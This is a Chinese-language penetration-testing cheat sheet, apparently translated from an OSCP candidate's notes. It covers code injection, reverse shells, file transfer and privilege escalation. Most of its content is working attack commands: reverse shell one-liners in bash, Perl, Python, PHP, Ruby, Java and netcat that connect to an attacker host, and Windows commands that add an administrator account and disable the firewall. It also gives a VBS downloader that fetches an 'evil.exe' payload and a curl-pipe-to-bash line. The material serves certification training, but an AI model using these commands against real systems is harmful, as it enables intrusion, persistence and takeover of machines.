导语:在本文中,我将向读者展示自己在完成OSCP各项测试时所采取的一般步骤。
在本文中,我将向读者展示自己在完成OSCP各项测试时所采取的一般步骤。当然,阅读本文绝对无法替代阅读PWK手册并完成相应的练习,相反,本文旨在概括介绍主要的漏洞类型及相应的利用方法,以便不时之需,并将其用作命令语法的备忘单。下面,我们接上篇,继续为读者介绍更多的技巧。
代码和命令注入
在某些情况下,我们会遇到一些允许直接执行代码的Web应用程序,例如一个WordPress后端(默认情况下允许编辑PHP文件)、一个基于Web的终端模拟器、一个PHP/Python/Perl沙箱,或某种运行系统命令的在线工具(允许用户输入并显示执行结果),等等。
对于这种类型的漏洞,可能潜藏在许多地方,所以需要发挥自己的想象力,例如看到后端的外观时不妨考虑一下它是如何实现的,以及如何才能注入自己的命令。
如果可以执行命令,那么这将意味着什么呢?
如果您发现了某种代码执行漏洞的话,接下来通常就意味着可以获取一个shell了。
反向Shell
所谓反向shell,就是指从目标机器主动连接我们的机器,并生成一个shell。当屏幕上出现一个shell的时候,可能是最让黑客兴奋不已的时刻。
注意:大多数netcat版本都没有内置-e选项
实际上,-e选项的作用,就是允许我们通过管道向反向shell发送命令。那么,为什么大多数netcat版本上都禁用了该选项呢?因为这是一个巨大的安全漏洞。既便如此,当我们攻击一台linux机器的时候,仍然可以通过使用下面的方法来解决这个问题。
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
这样,我们就可以在不使用-e开关的情况下将/bin/sh通过管道连接10.0.0.1上的1234端口。这就为接下来的工作打好了坚实的基础。
适用于Linux平台的单行反向shell命令
这些单行反向shell命令都是从pentestmonkey.net网站上找到的。当然,这个网站还有许多其他有用的东西!
Bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Perl
Perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' Netcat with -e nc -e /bin/sh 10.0.0.1 1234 Netcat without -e (my personal favourite) rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Java
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
有适用于Windows平台的反向shell吗?
对于反向shell来说,Windows有点与众不同,因为它没有Linux那样好用的命令行工具。如果我们需要一个反向shell,那么就得从某种文件上传功能或远程代码执行漏洞下手了,这时,我们通常需要借助于网络应用程序。
首先,假设我们碰巧赶上了一个安装了Perl的Windows系统(实际上这不太可能),则可以执行下列命令:
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"$attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
否则,还可尝试下列方式:
· 下载nc.exe,然后执行“nc.exe -e cmd.exe attackerip 1234”之类的命令。
· 如果正在与IIS服务器打交道,可使用msfvenom创建自己的.asp或.aspx反向shell有效载荷,然后执行该有效荷载。
· Powershell注入
下面将为读者介绍Windows上的一些其他命令。如果目标机器启用了RDP(3389端口),通常可以创建自己的用户账户并将其添加到“远程桌面用户”组中,然后就可以通过远程桌面登录了。
在Windows上添加用户:
net user $username $password /add
将该用户添加到“远程桌面用户”组中:
net localgroup "Remote Desktop Users" $username /add
把该用户变成管理员:
net localgroup administrators $username /add
在较新版本的系统上禁用Windows防火墙:
NetSh Advfirewall set allprofiles state off
在旧版本的系统上禁用Windows防火墙:
netsh firewall set opmode disable
使用msfvenom生成有效载荷
还不熟悉msfvenom吗?听我说,对OSCP来说绝对需要熟练掌握该工具。Msfvenom是Metasploit框架的组成部分,准确来说,就是用来生成有效载荷。那么,有效载荷有啥用啊?简单来说,就是用于完成各种“不可描述的”事情,从生成反向shell到为PoC生成漂亮的消息框,等等。
当然,这里不会详细介绍msfvenom,因为网上到处都是这方面的文章,例如offsec网站。
文件传输方法(Linux)
完成上面的操作后,接下来就需要将文件传输到目标机器上了。
首先,我们需要找到一个允许执行写入操作的目录。为此,可以先检查一下/tmp或/dev/shm目录,如果这些地方不合适的话,可以通过下面的命令来寻找具有写权限的目录:
find / -type d \( -perm -g+w -or -perm -o+w \) -exec ls -adl {} \;
HTTP(S)
现在,我们已经找到接收文件的目录,接下来要做的事情自然就是传输相关文件了!要想将文件传输到Linux目标机器上面,最快捷、最简单的方法就是在Kali机器上面搭建一个HTTP服务器。如果您不怕麻烦的话,也可以搭建Apache服务器。为简单起见,请直接切换到待传输文件所在目录下面,并运行下面的命令:
[email protected]# python -m SimpleHTTPServer 80
然后,就可以将文件拉进目标Linux机器上了:
wget http://attackerip/file
或者
curl http://attackerip/file > file
Netcat
如果无法通过HTTP传输文件的话,可以考虑使用netcat。首先让目标机器侦听传入的请求并通过管道传送到一个文件(最好使用高端口号,因为除非具有root权限,否则不允许使用<1024的端口号):
nc -nvlp 55555 > file
然后,就可以从Kali机器上发送文件啦!
nc $victimip 55555 < file
文件传输方法(Windows)
如果目标为Windows系统,那么在传输文件的时候可能会更棘手一些。通常情况下,我最喜欢的方法(我从OSCP手册中学到的!)是通过编写VBS脚本来创建自己的Windows wget。首先,可以通过下列命令来逐行创建文件:
echo strUrl = WScript.Arguments.Item(0) > wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs echo Err.Clear >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs echo http.Open "GET", strURL, False >> wget.vbs echo http.Send >> wget.vbs echo varByteArray = http.ResponseBody >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs echo strData = "" >> wget.vbs echo strBuffer = "" >> wget.vbs echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs echo Next >> wget.vbs echo ts.Close >> wget.vbs
然后,就可以通过下列命令来使用上面的脚本了:
cscript wget.vbs http://attackerip/evil.exe evil.exe
如果目标机器为Windows系统,并且上述方法不起作用的话,可以考虑通过TFTP或SMB传输文件。如果幸运的话,有时候也可以通过Web应用程序实现文件上传。
提高反向shell的交互性
虽然弹出一个反向shell是令人兴奋的事情,但它远不如全交互式shell好用:无法通过制表符完成自动补全,不能运行交互式程序(包括sudo),并且如果你按下Ctrl+C,就会退出目标系统,并返回本地机器,这一点很烦人。所以,我们下面将介绍如何升级Linux的反向shell。
python -c "import pty; pty.spawn('/bin/bash')"
这时会出现一个更漂亮的提示符,但我们的工作还没有结束。接下来,按下Ctrl+Z组合键,让反向shell转入后台运行,然后在本地机器上运行下列命令:
stty raw -echo fg
现在,看起来事情真的搞砸了,但不要担心。只需输入reset并点击返回,就会看到一个完全交互的shell。
此外,我们还可能有另一个小问题:shell的高度/宽度与终端不匹配。要解决这个问题,请返回本地计算机并运行下列命令:
stty size
该命令将返回两个数字,分别表示终端的行数和列数。举例来说,假设这个命令返回的数字为48和120,那么请返回目标机器并运行以下命令。
stty -rows 48 -columns 120
这样,我们就有资本到处炫耀自己优美的互动式shell了!
特权升级(Linux)
在本文中,我不会详细讨论这个主题,因为它涉及的内容太多,需要占用大量的篇幅!相反,这里只是提个引子,如果读者对这一主题非常感兴趣的话,我推荐你阅读g0tmi1k的文章。
错误配置的Sudo
首先,在找到任何系统密码后,请尝试使用它们以root身份运行下列命令:
sudo su
如果无法正常运行的话,请尝试运行:
sudo -l
有时候,sudo会允许以root身份运行一些命令,或者切换为另一个用户。如果在OSCP实验中出现了这种配置的机器,我们就有机会通过这种方式变身为root用户。
内核漏洞
进行渗透测试的时候,我通常进行下列测试:
uname -ar cat /etc/issue cat /etc/*-release cat /etc/lsb-release # Debian based cat /etc/redhat-release # Redhat based
这些命令会显示内核版本和发行版。如果运气好的话,通过谷歌搜索版本和/或分发版本就能够找到已知的特权升级漏洞利用代码,然后,我们就可以尝试利用这些漏洞了。
Linenum
如果您喜欢自动化和高效工作的话,不妨考虑一下LinEnum.sh。这是一个非常棒的bash脚本,能够枚举Linux系统中常见的错误配置,该脚本的下载地址为:https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
为了提高枚举效率,最好在Kali机器中的web服务器上托管linenum.sh,然后在目标机器上运行下列命令:
curl http://attackerip/LinEnum.sh | /bin/bash
G0tmi1k?
最后,让我们膜拜一下g0tmi1k上引用最多的Linux特权升级文章:https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
特权升级(Windows)
在测试Windows系统的时候,我通常会寻找已知的漏洞。为此,首先要找出目标机器上运行的是哪个版本的Windows:
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
如果这个方法不起作用的话,就要再想其他办法了。不过别担心,这里为读者推荐一篇非常全面的文章:http://www.fuzzysecurity.com/tutorials/16.html
小结
本文旨在为读者提供一些有用的渗透测试技巧,它们曾在我的OSCP之旅中提供了很大的帮助,希望读者能够喜欢。当然,作者水平有限,若有谬误之处,还望各位高手多多指教,联系方式:twitter账号@hakluke,或者从Medium上联系我也行。